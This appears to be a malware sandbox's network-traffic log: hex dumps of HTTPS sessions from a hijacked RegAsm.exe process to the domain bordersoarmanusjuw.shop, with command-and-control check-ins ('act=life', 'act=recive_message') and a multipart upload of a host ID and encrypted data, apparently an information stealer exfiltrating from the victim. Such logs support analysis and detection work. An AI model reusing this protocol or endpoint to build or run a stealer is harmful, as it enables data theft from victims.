2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: d4 5e 2d 58 c0 21 e5 02 09 f0 5b a1 4f e1 24 f5 7f e3 eb 9a 36 a1 ed db d3 31 29 67 b1 0b 6f 6d 67 f9 21 cb 4b 8c 77 18 3e d4 cc b5 e5 8b 19 bc 1a b0 37 4b a3 26 4d 42 3e 9c 67 a6 d3 e5 53 e9 b1 7c 62 1d c7 4b 9d 1c 3b be a7 7d 5c 55 ed f8 f9 24 3c 92 c6 83 63 df 2f e9 01 1b 3e 13 6d 22 9d 47 87 e4 21 28 e8 51 a8 b7 fa 61 6e 43 0c 55 78 9e 9a 86 b7 bc 67 22 be 76 26 59 a4 e9 05 de 28 ed e9 8e 2c 9e 4a e5 df ec 91 3e 59 d6 18 44 2f db 8d fc 80 52 2a ae 9f 21 a9 f1 9f 71 25 32 09 50 9a 89 51 14 1d 19 6e 50 aa 51 e0 7d 2c d9 34 d1 b4 c9 95 35 69 68 bf ff 70 cb dc 80 a4 22 d1 21 46 d1 3f a5 8d 83 98 fc f9 17 17 4e 6e b8 3d 3c ae 5c e6 f2 5b 8a 8c ab 95 35 27 ab cc c8 2c 33 84 4d a3 a0 2b c0 72 b4 32 f4 8d 61 32 0b ed 6b aa 98 17 94 b7 38 2c 0e 7e 07 63 a6 2f Data Ascii: ^-X![O$61)gomg!Kw>7K&MB>gS\|bK;}\U$<c/>m"G!(QanCUxg"v&Y(,J>YD/R*!q%2PQnPQ},45ihp"!F?Nn=<\[5',3M+r2a2k8,~c/
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 56 a5 6e 99 ee e1 11 9e 43 c0 ba 6f a9 64 92 33 da 42 32 21 f9 ad 15 ff d7 8a 3d 57 28 54 26 b8 3d ac 2d 0a 9a da 70 39 18 d3 8a da c9 16 98 c7 f7 24 b9 23 84 5b 49 3f 77 e6 bc 56 84 82 41 68 cc c6 0d 49 e2 30 0f 32 a7 d2 6f b2 61 c8 11 19 13 f2 89 a0 ce 31 9e ed a6 e1 06 23 ce 39 13 46 6a 22 a3 b0 c0 0a df de 2a d4 61 38 6c b6 c7 69 6e 8e c7 28 55 ad e5 a1 2b 44 cb 09 ce db 4d dc 44 cc 46 ef 66 99 42 ef 7a 3c 55 90 a1 11 1d 94 21 a2 73 1d d7 75 09 0f 48 83 45 bb 88 ce 0a 94 4b 79 69 8f 52 61 59 8b 4c de 5a 8d 0a b7 5d ad 31 53 6f 1d 9e 73 a1 c7 9c 08 59 91 61 18 f9 89 89 8a ba bf 4a 4e 4f c8 ad eb 55 32 50 43 53 23 a9 57 ce 0c 8a 27 9b 17 6f d8 ea 98 2d 5c ec 62 7b c0 5e fa c9 dc 96 a4 00 c6 99 a3 64 1c 70 cd 6d 9a 58 53 bc 7b ef 57 68 f2 d2 44 82 a6 7a Data Ascii: VnCod3B2!=W(T&=-p9$#[I?wVAhI02oa1#9Fj"*a8lin(U+DMDFfBz<U!suHEKyiRaYLZ]1SosYaJNOU2PCS#W'o-\b{^dpmXS{WhDz
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 28 02 41 11 66 c7 a7 8a fb 2d 05 3b d4 c1 5a 3e 2b 75 a4 7f 89 e0 37 f7 39 01 d5 e8 c4 c7 3d c4 72 82 c2 d5 43 fb b7 7e 0f 8f 36 dc 54 60 5e 9e 5c d8 31 77 63 e8 a3 4f 4f e8 fc c4 44 60 ea 34 67 b4 c1 77 80 36 18 58 b5 d9 f6 2c c3 99 95 56 2a f8 71 7e e8 46 c6 c7 d5 ae 7b fd c5 a5 c6 be 03 c5 01 2d be a4 85 8d e1 bb 51 4f e6 6c 67 c2 ca fe 8e a4 13 f2 ed a7 c2 42 12 ba 2b 93 6e 39 8c e7 55 8d 62 b5 47 ef 6a 59 f1 ad c5 9d b8 f9 21 b7 7a f6 b1 4f b4 2d cc 53 be 22 00 69 47 f3 5f fd 9b 07 c6 d7 4a b1 d7 55 dc 0e d1 2e 24 f3 eb 74 a9 d5 3d 6a ee 42 3d 92 7c 78 f2 be 0d f4 92 e7 2b 9a b8 c3 69 e6 8e 3b fc ae 99 35 56 fc 8e 7b fc ce ff ed d7 cf f9 a5 1d f5 a5 7c a5 e8 98 2b c7 15 91 51 ab 3d ff f2 f0 d2 bb 25 c7 e9 b3 a9 35 b5 ef cb e6 93 75 61 a6 fc f2 e6 2e Data Ascii: (Af-;Z>+u79=rC~6T`^\1wcOOD`4gw6X,V*q~F{-QOlgB+n9UbGjY!zO-S"iG_JU.$t=jB=\|x+i;5V{\|+Q=%5ua.
2024-04-21 13:31:29 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=avrgn4slqr7rp25l266m7idng1; expires=Thu, 15-Aug-2024 07:18:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FStwYrES1uS5i%2F1el8zTpNOTXm%2BwnrYnjXtcb04N33mnK%2FZ5m5A35fAd2inTNHvXkMPS8oBJD%2BC09agdP7iXxkEh9OtoQBqL3OYaaitxe4rrjZ7P3y%2BYfvRozLMTwD0MUJp2pqJTwHd3oQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc0c588e0d06-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:33 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 13:31:33 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dka8ok65vnmmtn6afgre077o56; expires=Thu, 15-Aug-2024 07:18:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACgYRJFrr1I49rpxYQHmPIRc5q3GfCjNNpLWVv7IsXq1pCSGJtiX2IXkvZzmKAvwrN5eX45WebogDaMoKKBxwlabHxm7xs4kkJ6PDykXO%2BB%2BUCZs6G8dzY5oZde%2FD6WsA51ag3N7AB63fQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc2e3d0e7b94-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 13:31:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:34 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:34 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-21 13:31:34 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3382eb0qgob4ib8bc6m34trkml; expires=Thu, 15-Aug-2024 07:18:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zu%2BtX9mpYvZmD8ZP3XoGs2%2BD9hwJ4gOsx1qlGUHhgrEhfXoejSj%2Fkz8rU4C1Ov%2F4cVrpaZSBP8as%2BHCF8vKphGY968gyXSRlMumgHBf3uuEDqddr7wl1fnSDD8LJYWo5hxrgRuea%2Fyv%2Bsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc32fd864575-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:34 UTC	549	IN	Data Raw: 35 30 30 0d 0a 6d 4b 49 38 63 30 4c 56 41 66 6a 61 64 72 72 49 4e 61 69 31 47 6a 38 4b 4b 4a 41 7a 46 52 39 57 66 73 5a 4f 6c 72 43 5a 63 4f 33 6a 71 44 56 52 4e 50 63 37 32 4f 35 61 73 4d 45 58 32 39 41 34 42 53 70 63 34 6b 5a 77 4d 31 78 33 35 43 2f 79 6b 71 4e 51 69 2f 6e 4f 54 78 5a 75 33 77 6a 61 74 77 36 59 38 68 58 7a 76 78 4e 45 41 43 47 5a 45 58 42 78 64 45 54 6d 62 4f 48 56 2b 78 57 56 37 4d 64 53 41 43 75 36 62 37 69 33 45 38 36 70 57 4d 6e 47 63 52 46 6a 52 37 49 66 48 78 5a 66 58 4b 4d 30 74 49 71 35 55 71 44 39 31 6c 30 2b 49 36 5a 71 32 76 5a 38 73 38 45 58 7a 63 45 34 42 53 6f 4b 7a 42 46 6c 66 69 51 66 71 7a 33 4b 6b 71 4d 4c 73 62 72 4c 53 42 59 77 74 48 57 52 74 52 6a 4a 6c 42 65 53 67 79 6f 50 4f 68 69 67 54 6a 63 56 58 77 50 4d 52 38 Data Ascii: 500mKI8c0LVAfjadrrINai1Gj8KKJAzFR9WfsZOlrCZcO3jqDVRNPc72O5asMEX29A4BSpc4kZwM1x35C/ykqNQi/nOTxZu3wjatw6Y8hXzvxNEACGZEXBxdETmbOHV+xWV7MdSACu6b7i3E86pWMnGcRFjR7IfHxZfXKM0tIq5UqD91l0+I6Zq2vZ8s8EXzcE4BSoKzBFlfiQfqz3KkqMLsbrLSBYwtHWRtRjJlBeSgyoPOhigTjcVXwPMR8
2024-04-21 13:31:34 UTC	738	IN	Data Raw: 64 4d 38 31 6e 4c 6d 51 55 6f 6a 32 67 41 5a 54 59 4c 46 74 6d 37 55 55 79 71 4a 63 77 64 4a 71 56 6d 46 48 2f 31 46 36 64 7a 73 66 70 43 76 2b 32 50 51 59 69 2f 66 4e 57 42 45 67 39 79 33 79 30 33 2b 59 72 55 2b 4b 6a 7a 6f 64 53 30 2f 69 56 6e 74 72 64 69 62 6b 52 4a 2f 4e 74 58 6e 4e 75 4b 67 31 43 45 6a 63 43 4e 71 2f 47 4a 6a 79 46 59 72 66 66 56 35 72 51 66 31 53 66 33 59 6d 48 4c 59 71 2b 64 66 70 46 49 72 30 79 6c 30 44 4b 72 6c 6c 6d 62 45 66 30 61 39 51 7a 70 63 32 4e 51 4d 68 73 6c 5a 76 50 57 78 65 35 41 33 35 32 66 63 59 6d 50 71 41 4e 6e 6f 2f 2b 51 76 78 6f 58 79 7a 77 52 66 4e 32 7a 67 46 4b 67 72 32 55 48 4e 38 4d 42 4b 71 4b 50 6a 55 39 52 2b 41 2f 4d 70 65 46 69 71 2f 61 35 75 31 48 39 65 71 55 73 66 54 66 6c 46 70 54 37 49 66 48 78 5a Data Ascii: dM81nLmQUoj2gAZTYLFtm7UUyqJcwdJqVmFH/1F6dzsfpCv+2PQYi/fNWBEg9y3y03+YrU+KjzodS0/iVntrdibkRJ/NtXnNuKg1CEjcCNq/GJjyFYrffV5rQf1Sf3YmHLYq+dfpFIr0yl0DKrllmbEf0a9Qzpc2NQMhslZvPWxe5A352fcYmPqANno/+QvxoXyzwRfN2zgFKgr2UHN8MBKqKPjU9R+A/MpeFiq/a5u1H9eqUsfTflFpT7IfHxZ
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 33 34 65 63 0d 0a 39 39 5a 5a 55 55 6a 63 66 4e 54 51 66 38 48 43 50 4b 47 58 66 31 45 6f 45 72 41 52 63 58 45 78 45 36 6f 73 2b 74 50 32 46 49 76 33 77 45 77 58 4d 72 42 69 6d 62 73 53 33 61 35 58 79 39 4a 39 57 57 42 4f 2f 6c 34 33 4d 31 78 33 7a 32 7a 7a 79 72 74 4b 7a 62 72 76 53 52 38 32 76 48 65 64 71 41 58 69 36 47 4c 4a 32 58 5a 61 66 67 71 61 4f 6d 67 7a 58 48 65 39 52 4a 2b 35 75 78 57 44 75 70 67 63 55 53 6d 6c 63 5a 36 2b 48 39 4f 34 52 63 44 54 65 56 78 76 52 66 4e 61 63 6e 45 2b 46 36 41 2b 2f 4e 76 34 41 49 76 36 79 31 51 58 59 50 6b 4c 38 64 4e 55 33 37 49 58 6b 70 55 34 65 57 56 61 2f 6c 70 68 65 69 51 70 70 79 4c 36 31 65 31 53 35 35 48 66 45 48 6c 4c 72 67 76 78 30 31 54 66 70 68 65 53 6c 54 68 53 5a 30 58 36 55 58 5a 35 4f 52 69 6c 49 Data Ascii: 34ec99ZZUUjcfNTQf8HCPKGXf1EoErARcXExE6os+tP2FIv3wEwXMrBimbsS3a5Xy9J9WWBO/l43M1x3z2zzyrtKzbrvSR82vHedqAXi6GLJ2XZafgqaOmgzXHe9RJ+5uxWDupgcUSmlcZ6+H9O4RcDTeVxvRfNacnE+F6A+/Nv4AIv6y1QXYPkL8dNU37IXkpU4eWVa/lpheiQppyL61e1S55HfEHlLrgvx01TfpheSlThSZ0X6UXZ5ORilI
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 56 6c 37 71 59 48 46 45 51 75 6d 2b 52 74 46 62 74 71 56 6e 45 30 47 34 64 41 43 48 74 48 78 38 57 4c 58 54 50 52 37 54 56 39 31 4c 58 75 49 42 52 45 43 32 39 61 4a 53 30 46 64 69 75 56 4d 44 58 64 31 68 75 51 76 74 52 5a 58 6f 37 48 61 55 6e 2f 39 2f 31 46 34 37 2f 78 78 35 66 53 4e 77 49 32 72 38 4d 6d 50 49 56 69 76 70 52 5a 79 67 69 6d 55 34 35 46 56 38 46 7a 45 65 66 6b 76 77 65 7a 36 4b 43 48 68 55 71 74 32 36 51 73 78 76 62 72 56 6e 4b 32 6e 4a 50 59 45 72 79 58 33 46 38 4f 42 6d 6c 49 50 66 41 39 78 53 43 2f 4d 68 4d 55 57 37 66 43 50 48 34 45 38 44 71 44 34 69 58 57 46 5a 6b 53 66 35 51 63 44 38 56 46 71 63 6e 2b 4a 44 4f 45 59 48 30 78 30 68 52 53 4e 78 38 31 4e 42 2f 77 63 49 38 6f 5a 64 2f 55 53 67 53 73 42 46 7a 65 54 67 63 6f 79 4c 77 31 50 Data Ascii: Vl7qYHFEQum+RtFbtqVnE0G4dACHtHx8WLXTPR7TV91LXuIBREC29aJS0FdiuVMDXd1huQvtRZXo7HaUn/9/1F47/xx5fSNwI2r8MmPIVivpRZygimU45FV8FzEefkvwez6KCHhUqt26QsxvbrVnK2nJPYEryX3F8OBmlIPfA9xSC/MhMUW7fCPH4E8DqD4iXWFZkSf5QcD8VFqcn+JDOEYH0x0hRSNx81NB/wcI8oZd/USgSsBFzeTgcoyLw1P
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 79 31 6f 64 4b 62 4a 6c 6d 37 30 52 32 61 35 62 77 4e 46 37 58 6d 64 46 2f 56 6b 33 4d 31 78 33 7a 32 7a 7a 79 72 74 4b 7a 62 72 6c 53 52 6f 75 73 53 50 79 30 77 75 57 77 6a 7a 54 76 78 4d 32 4b 45 33 2b 45 53 38 2f 64 42 43 74 4b 76 4c 58 39 78 4f 4a 38 73 56 57 46 53 47 78 5a 5a 6d 33 45 4e 32 72 57 4d 37 62 64 6c 64 70 53 2f 35 61 65 48 59 78 58 4f 70 45 6e 37 6d 37 46 5a 65 36 6d 42 78 52 45 62 52 31 6a 61 67 59 6d 4d 49 38 31 5a 6b 51 4e 6e 45 69 6d 54 6f 33 65 6a 68 63 2f 47 36 30 30 2b 6b 59 68 66 54 46 55 52 51 6a 75 47 53 58 76 68 6a 53 6f 31 2f 4d 32 48 46 50 61 30 62 38 56 6e 6c 78 4f 68 47 75 4c 2f 6d 53 74 58 72 6b 6b 59 42 5a 43 57 44 76 49 64 71 55 45 39 57 45 58 4d 62 51 4f 44 55 44 56 62 77 35 48 47 52 63 64 38 39 73 38 39 36 37 53 73 32 Data Ascii: y1odKbJlm70R2a5bwNF7XmdF/Vk3M1x3z2zzyrtKzbrlSRousSPy0wuWwjzTvxM2KE3+ES8/dBCtKvLX9xOJ8sVWFSGxZZm3EN2rWM7bdldpS/5aeHYxXOpEn7m7FZe6mBxREbR1jagYmMI81ZkQNnEimTo3ejhc/G600+kYhfTFURQjuGSXvhjSo1/M2HFPa0b8VnlxOhGuL/mStXrkkYBZCWDvIdqUE9WEXMbQODUDVbw5HGRcd89s8967Ss2
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 53 79 79 61 35 2b 35 48 4e 4b 69 57 4d 58 46 65 56 4a 68 54 66 6c 63 65 48 4d 78 45 72 59 72 2f 39 6e 7a 47 34 48 38 67 42 42 35 53 39 77 6a 6e 61 42 55 67 4f 67 58 2f 4e 52 32 56 6e 6c 46 38 56 30 33 46 56 38 44 36 6b 53 66 79 35 4e 35 35 4c 72 48 55 6c 46 34 39 53 4f 57 74 68 54 58 70 6c 76 42 33 33 6c 52 5a 6b 33 33 57 48 39 31 4a 68 32 67 4a 50 58 63 39 42 4f 4c 2f 38 56 61 46 69 53 78 62 4e 72 32 66 4c 50 42 46 38 33 50 4f 41 55 71 43 74 31 57 59 6c 77 4f 58 4d 78 48 36 35 79 54 65 5a 61 53 71 7a 56 52 4a 37 73 6a 77 76 70 55 30 71 46 54 79 64 4e 39 55 6d 6c 4c 39 45 4e 77 64 43 59 53 71 53 50 38 32 76 49 54 69 2f 2f 4e 57 42 30 71 74 6d 53 55 74 68 79 59 35 44 2b 68 76 44 68 61 63 41 71 71 45 7a 64 63 4a 41 65 32 4f 76 6e 7a 39 68 33 50 6b 71 74 42 Data Ascii: Syya5+5HNKiWMXFeVJhTflceHMxErYr/9nzG4H8gBB5S9wjnaBUgOgX/NR2VnlF8V03FV8D6kSfy5N55LrHUlF49SOWthTXplvB33lRZk33WH91Jh2gJPXc9BOL/8VaFiSxbNr2fLPBF83POAUqCt1WYlwOXMxH65yTeZaSqzVRJ7sjwvpU0qFTydN9UmlL9ENwdCYSqSP82vITi//NWB0qtmSUthyY5D+hvDhacAqqEzdcJAe2Ovnz9h3PkqtB
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 4f 52 73 42 76 4b 72 31 37 43 30 33 46 64 62 45 44 2f 56 6e 64 34 4f 52 6d 67 49 76 44 56 2b 78 36 41 2f 63 68 52 46 53 43 34 49 39 54 51 66 37 50 71 55 4e 4b 58 49 42 38 6f 61 76 6c 48 56 6e 4d 2f 44 75 52 45 6e 38 32 31 65 75 54 6a 71 44 56 36 59 4c 42 76 32 75 42 57 6d 4b 52 65 79 39 39 32 55 57 42 4f 34 46 46 38 64 44 73 64 71 79 7a 33 30 2f 45 61 6e 66 7a 41 56 52 6b 6e 76 32 65 55 71 68 58 58 36 68 6d 69 76 42 4d 64 62 31 4b 79 43 54 55 39 42 51 71 6a 4b 2f 75 51 30 68 57 55 2b 38 70 64 47 69 7a 33 43 2f 47 6e 57 72 44 42 54 71 4b 38 45 78 31 76 52 72 49 4a 4e 54 30 35 45 4b 6b 6f 35 74 37 37 45 6f 62 39 79 6b 77 65 4c 37 70 67 6d 72 30 47 32 62 68 59 77 64 4a 37 57 57 64 46 2f 6c 6c 39 50 58 70 30 7a 30 65 30 31 65 4e 53 31 37 69 41 63 68 49 78 76 Data Ascii: ORsBvKr17C03FdbED/Vnd4ORmgIvDV+x6A/chRFSC4I9TQf7PqUNKXIB8oavlHVnM/DuREn821euTjqDV6YLBv2uBWmKRey992UWBO4FF8dDsdqyz30/EanfzAVRknv2eUqhXX6hmivBMdb1KyCTU9BQqjK/uQ0hWU+8pdGiz3C/GnWrDBTqK8Ex1vRrIJNT05EKko5t77Eob9ykweL7pgmr0G2bhYwdJ7WWdF/ll9PXp0z0e01eNS17iAchIxv
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 38 73 38 45 58 7a 63 38 34 42 53 6f 4b 30 55 5a 68 64 79 39 63 7a 45 66 72 6e 4a 4e 35 6c 70 4b 72 4e 56 45 6e 75 79 50 43 2b 6c 54 56 72 56 6e 43 30 58 5a 62 65 6b 62 39 56 33 64 38 50 68 47 6f 4a 2f 50 63 38 42 53 4b 39 38 42 59 46 79 53 7a 5a 35 53 37 56 4a 62 43 50 4b 47 58 66 30 55 6f 45 72 41 52 55 46 41 46 58 6f 63 37 34 74 6a 38 48 70 6e 78 77 56 30 48 4c 61 63 6a 38 74 4d 4c 6c 73 49 38 30 37 38 54 4e 69 68 4e 2f 68 45 76 50 33 51 58 71 69 6e 31 33 76 45 56 67 65 6a 42 56 42 30 68 73 47 53 52 71 68 2f 4b 6f 56 2f 4a 32 58 42 55 61 45 54 79 55 48 70 39 64 46 4c 4d 52 35 2b 53 2f 41 72 50 6f 6f 49 65 4e 41 4f 67 64 5a 44 36 4e 38 2b 38 58 63 33 62 62 6c 5a 70 53 65 52 63 5a 7a 31 63 64 37 74 69 6e 4c 6e 69 65 75 53 52 67 46 6b 64 59 4f 38 68 32 72 Data Ascii: 8s8EXzc84BSoK0UZhdy9czEfrnJN5lpKrNVEnuyPC+lTVrVnC0XZbekb9V3d8PhGoJ/Pc8BSK98BYFySzZ5S7VJbCPKGXf0UoErARUFAFXoc74tj8HpnxwV0HLacj8tMLlsI8078TNihN/hEvP3QXqin13vEVgejBVB0hsGSRqh/KoV/J2XBUaETyUHp9dFLMR5+S/ArPooIeNAOgdZD6N8+8Xc3bblZpSeRcZz1cd7tinLnieuSRgFkdYO8h2r
2024-04-21 13:31:34 UTC	1369	IN	Data Raw: 46 35 4b 56 4b 42 4d 41 49 5a 6b 52 63 32 78 30 52 4f 5a 38 70 6f 6d 75 51 64 69 71 6b 6a 5a 36 50 2f 6b 4c 38 61 46 38 73 38 45 58 33 4a 63 67 48 7a 6f 45 6d 6a 6f 63 50 53 5a 63 2f 47 36 30 6c 66 55 66 6a 76 6e 4f 58 51 4d 79 73 57 43 4d 75 31 50 6d 6c 48 62 48 33 48 52 51 5a 30 48 4d 62 31 5a 77 50 78 43 70 49 2f 2f 73 78 51 65 4d 39 4d 35 5a 42 7a 48 33 4c 66 4c 54 66 35 69 6c 46 35 4b 56 51 52 30 67 43 73 30 66 48 78 5a 66 58 4c 78 73 72 4a 43 37 4a 34 7a 30 7a 6c 6b 48 4d 66 70 43 6c 37 4d 59 31 61 56 63 69 70 6b 51 4e 67 4d 4b 39 42 45 76 50 32 52 53 7a 45 65 66 6b 76 38 44 7a 36 4b 43 44 6b 4e 37 34 6a 44 4e 36 45 61 77 77 55 69 45 76 78 4e 45 41 43 47 5a 45 57 45 39 62 46 37 32 59 70 79 35 6b 46 4b 64 75 70 67 63 55 57 65 30 63 59 69 2b 46 38 36 Data Ascii: F5KVKBMAIZkRc2x0ROZ8pomuQdiqkjZ6P/kL8aF8s8EX3JcgHzoEmjocPSZc/G60lfUfjvnOXQMysWCMu1PmlHbH3HRQZ0HMb1ZwPxCpI//sxQeM9M5ZBzH3LfLTf5ilF5KVQR0gCs0fHxZfXLxsrJC7J4z0zlkHMfpCl7MY1aVcipkQNgMK9BEvP2RSzEefkv8Dz6KCDkN74jDN6EawwUiEvxNEACGZEWE9bF72Ypy5kFKdupgcUWe0cYi+F86

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49768	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:34 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:34 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-21 13:31:35 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ovkug2kcqadhmi4hbftbts3p4n; expires=Thu, 15-Aug-2024 07:18:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1IeUblUcmQStgIOgEoQwuzcjL5LwWh2Ge2PEPBx38EVnXvfR%2FWbMdGFt%2BGzTMfC1CsQ3FlmnTrGYFpkhxKgL0%2BrQJdG11NgsHkPACsXQCLpQ9%2FU%2FN4AzbYWeMCT5a7UUCc3kPBydk6PX%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc364cdf7cc6-ATL alt-svc: h3=":443"; ma=86400
